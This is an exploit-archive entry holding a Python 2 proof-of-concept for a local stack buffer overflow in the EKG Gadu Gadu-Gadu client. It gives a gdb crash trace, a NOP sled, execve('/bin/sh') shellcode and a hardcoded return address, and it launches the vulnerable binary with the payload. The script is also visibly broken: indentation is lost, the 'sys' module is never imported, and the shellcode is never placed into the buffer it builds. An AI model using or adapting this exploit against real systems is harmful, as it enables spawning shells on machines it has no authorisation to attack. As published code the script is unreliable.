EKG Gadu 1.9~pre+r2855-3+b1 Local Buffer Overflow

`# Exploit developed using Exploit Pack v6.01  
# Exploit Author: Juan Sacco - http://www.exploitpack.com -  
# [email protected]  
# Program affected: EKG Gadu  
# Affected value: USERNAME  
# Version: 1:1.9~pre+r2855-3+b1  
#  
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org  
# Program description: console Gadu Gadu client for UNIX systems - ncurses UI  
# EKG ("Eksperymentalny Klient Gadu-Gadu") is an open source  
# Gadu-Gadu client for UNIX systems.  
# Kali Linux 2.0 package: pool/main/e/ekg/ekg_1.9~pre+r2855-3+b1_i386.deb  
# MD5sum: c752577dfb5ea44513a3fb351d431afa  
# Website: http://ekg.chmurka.net/  
#  
# gdb$ run `python -c 'print "A"*258'`  
# 0x0807e125 in strlcpy ()  
# gdb$ backtrace  
# #0 0x0807e125 in strlcpy ()  
# #1 0x080570bb in ioctld_socket ()  
# #2 0x08052e60 in main ()  
  
  
import os, subprocess  
  
def run():  
try:  
print "# EKG Gadu - Local Buffer Overflow by Juan Sacco"  
print "# This Exploit has been developed using Exploit Pack -  
http://exploitpack.com"  
# NOPSLED + SHELLCODE + EIP  
  
buffersize = 240  
nopsled = "\x90"*30  
shellcode =  
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"  
eip = "\x20\xf1\xff\xbf"  
buffer = nopsled * (buffersize-len(shellcode)) + eip  
subprocess.call(["ekg ",' ', buffer])  
  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "Sorry, EKG Gadu - Not found!"  
else:  
print "Error executing exploit"  
raise  
  
def howtousage():  
print "Snap! Something went wrong"  
sys.exit(-1)  
  
if __name__ == '__main__':  
try:  
print "Exploit EKG Gadu - Local Overflow Exploit"  
print "Author: Juan Sacco - Exploit Pack"  
except IndexError:  
howtousage()  
run()  
`